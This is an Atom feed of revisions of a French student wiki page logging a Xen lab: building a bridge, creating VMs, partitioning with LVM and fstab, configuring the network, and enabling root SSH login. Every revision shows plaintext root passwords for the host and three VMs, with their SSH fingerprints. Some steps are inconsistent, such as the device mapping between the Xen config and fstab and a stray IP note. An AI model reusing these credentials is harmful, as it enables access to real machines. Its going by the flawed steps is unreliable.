On active le SSH en ajoutant dans &amp;lt;code&amp;gt;/etc/ssh/config&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
PermitRootLogin yes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour redemarrer le service ssh :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/init.d/ssh restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite après avoir reboot on peut faire :&lt;br /&gt;
&lt;br /&gt;
=== Utiles ===&lt;br /&gt;
&lt;br /&gt;
=== XEN ===&lt;br /&gt;
''&amp;lt;u&amp;gt;Liste des VMs allumées :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Se connecter à la VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
''&amp;lt;u&amp;gt;Sortir de la console xen :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Ctrl + Shift + 5&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;''&amp;lt;u&amp;gt;Eteindre une VM :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Allumer une VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/&amp;lt;nomMachine&amp;gt;.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Cpayet</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=11429</id>
		<title>Atelier SysRes SE4 2025/2026 E5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=11429"/>
		<updated>2026-01-26T11:10:21Z</updated>

		<summary type="html">&lt;p&gt;Cpayet : /* Machine Mandataire - LinusTorvalds */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Compte rendu des commandes effectués ===&lt;br /&gt;
&lt;br /&gt;
==== Etape 1 : Connexion SSH ====&lt;br /&gt;
ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Mot de passe : g0llum_fr0d0&lt;br /&gt;
&lt;br /&gt;
==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====&lt;br /&gt;
On se déplace à ce répertoire :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 cd /etc/network/interfaces.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
touch SE42026_cpayet_tdelobel&lt;br /&gt;
vim SE42026_cpayet_tdelobel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_pacman&lt;br /&gt;
iface pont_pacman inet manual&lt;br /&gt;
    bridge_ports none&lt;br /&gt;
    up ip link set $IFACE up&lt;br /&gt;
    down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois le pont créer, il faut le démarrer :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_pacman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 3 : Création des VMs ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.CachyOS         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.Manjaro         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.LinusTorvalds   --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On adapte les hostnames en fonction des nom de nos machines. &lt;br /&gt;
&lt;br /&gt;
'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
CachyOS : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.CachyOS&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:8B:45:EC&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:B0Jej6oBYnqo6BNAkuT73+1FRTAu7w+ynwLcL9MUw84 (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:Ko3kxxNtx498I5wyPFzNF2StKYL4tOvV0vHbRyggX6g (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:QPTYZy5CwrYDXRgiQsx/suQfg6af4dqxzA5ySj35/k4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:Z3zPgtowyJ1xXzc4MS2Iugy2rsO/7Gsmwm93OLV3yUE (RSA)&lt;br /&gt;
Root Password   :  FDigbGcTyh86QnvLWyT8wh3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Manjaro : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.Manjaro&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:36:79:D8&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)&lt;br /&gt;
Root Password   :  PgvMbhYvgtksg8tmiJnVZnQ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;LinusTorvalds :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.LinusTorvalds&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:AA:BF:EF&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)&lt;br /&gt;
Root Password   :  ekrmCSKb3ZAxXSYvNpjbiSK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 4 : ====&lt;br /&gt;
PHRASE MANQUANTE&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.Manjaro.cfg&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
xen create /etc/xen/SE4.LinusTorvalds.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On vérifie la liste des machines lancées via : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Name                                        ID   Mem VCPUs    State    Time(s)&lt;br /&gt;
SE4.CachyOS                                 83  2048     1     -b----       5.6&lt;br /&gt;
SE4.Manjaro                                 85  2048     1     -b----       5.8&lt;br /&gt;
SE4.LinusTorvalds                           87  2048     1     -b----       5.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 5 : Partition ====&lt;br /&gt;
&lt;br /&gt;
===== Sur capbreton =====&lt;br /&gt;
&lt;br /&gt;
On partionne avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.CachyOS.var -L 10G virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On éteint notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on modifie :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
            [...],&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'&lt;br /&gt;
        ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Sur la machine mandataire =====&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons les partitions dans '''''/etc/fstab''''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous formatons les partitions avant de les utiliser : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous copions le contenu de '''/var''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvda3 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== De nouveaux sur capbreton =====&lt;br /&gt;
On redémarre notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite on se connecte à notre VM via :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Machines de Service - CachyOS &amp;amp; Manjaro =====&lt;br /&gt;
Dans notre VM :&lt;br /&gt;
&lt;br /&gt;
On modifie  :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/network/interfaces&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.10.3/24&lt;br /&gt;
    gateway 192.168.10.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* 172.60.0.3 est l'adresse IP de la VM CachyOS&lt;br /&gt;
&lt;br /&gt;
===== Machine Mandataire - LinusTorvalds =====&lt;br /&gt;
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
        address 192.168.10.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
        address 193.48.57.166/24&lt;br /&gt;
        gateway 193.48.57.162&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.&lt;br /&gt;
&lt;br /&gt;
Sur capbreton, depuis &amp;lt;code&amp;gt;/etc/xen/SE4.CachyOS.cfg :&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vif = [[...], 'mac=00:16:3E:8B:45:ED']&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'adresse mac on prend celui existant et on fait +1.&lt;br /&gt;
&lt;br /&gt;
Depuis &amp;lt;code&amp;gt;/etc/resolv.conf &amp;lt;/code&amp;gt;:&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
nameserver 8.8.8.8&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SSH ====&lt;br /&gt;
(Dans TOUTES les VM)&lt;br /&gt;
&lt;br /&gt;
On active le SSH en ajoutant dans &amp;lt;code&amp;gt;/etc/ssh/config&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
PermitRootLogin yes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite après avoir reboot on peut faire :&lt;br /&gt;
&lt;br /&gt;
=== Utiles ===&lt;br /&gt;
&lt;br /&gt;
=== XEN ===&lt;br /&gt;
''&amp;lt;u&amp;gt;Liste des VMs allumées :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Se connecter à la VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
''&amp;lt;u&amp;gt;Sortir de la console xen :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Ctrl + Shift + 5&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;''&amp;lt;u&amp;gt;Eteindre une VM :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Allumer une VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/&amp;lt;nomMachine&amp;gt;.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Cpayet</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=11424</id>
		<title>Atelier SysRes SE4 2025/2026 E5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=11424"/>
		<updated>2026-01-26T10:55:01Z</updated>

		<summary type="html">&lt;p&gt;Cpayet : /* Machines de Service - CachyOS &amp;amp; Manjaro */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Compte rendu des commandes effectués ===&lt;br /&gt;
&lt;br /&gt;
==== Etape 1 : Connexion SSH ====&lt;br /&gt;
ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Mot de passe : g0llum_fr0d0&lt;br /&gt;
&lt;br /&gt;
==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====&lt;br /&gt;
On se déplace à ce répertoire :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 cd /etc/network/interfaces.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
touch SE42026_cpayet_tdelobel&lt;br /&gt;
vim SE42026_cpayet_tdelobel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_pacman&lt;br /&gt;
iface pont_pacman inet manual&lt;br /&gt;
    bridge_ports none&lt;br /&gt;
    up ip link set $IFACE up&lt;br /&gt;
    down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois le pont créer, il faut le démarrer :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_pacman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 3 : Création des VMs ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.CachyOS         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.Manjaro         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.LinusTorvalds   --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On adapte les hostnames en fonction des nom de nos machines. &lt;br /&gt;
&lt;br /&gt;
'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
CachyOS : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.CachyOS&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:8B:45:EC&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:B0Jej6oBYnqo6BNAkuT73+1FRTAu7w+ynwLcL9MUw84 (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:Ko3kxxNtx498I5wyPFzNF2StKYL4tOvV0vHbRyggX6g (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:QPTYZy5CwrYDXRgiQsx/suQfg6af4dqxzA5ySj35/k4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:Z3zPgtowyJ1xXzc4MS2Iugy2rsO/7Gsmwm93OLV3yUE (RSA)&lt;br /&gt;
Root Password   :  FDigbGcTyh86QnvLWyT8wh3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Manjaro : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.Manjaro&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:36:79:D8&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)&lt;br /&gt;
Root Password   :  PgvMbhYvgtksg8tmiJnVZnQ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;LinusTorvalds :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.LinusTorvalds&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:AA:BF:EF&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)&lt;br /&gt;
Root Password   :  ekrmCSKb3ZAxXSYvNpjbiSK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 4 : ====&lt;br /&gt;
PHRASE MANQUANTE&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.Manjaro.cfg&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
xen create /etc/xen/SE4.LinusTorvalds.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On vérifie la liste des machines lancées via : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Name                                        ID   Mem VCPUs    State    Time(s)&lt;br /&gt;
SE4.CachyOS                                 83  2048     1     -b----       5.6&lt;br /&gt;
SE4.Manjaro                                 85  2048     1     -b----       5.8&lt;br /&gt;
SE4.LinusTorvalds                           87  2048     1     -b----       5.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 5 : Partition ====&lt;br /&gt;
&lt;br /&gt;
===== Sur capbreton =====&lt;br /&gt;
&lt;br /&gt;
On partionne avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.CachyOS.var -L 10G virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On éteint notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on modifie :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
            [...],&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'&lt;br /&gt;
        ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Sur la machine mandataire =====&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons les partitions dans '''''/etc/fstab''''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous formatons les partitions avant de les utiliser : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous copions le contenu de '''/var''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvda3 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== De nouveaux sur capbreton =====&lt;br /&gt;
On redémarre notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
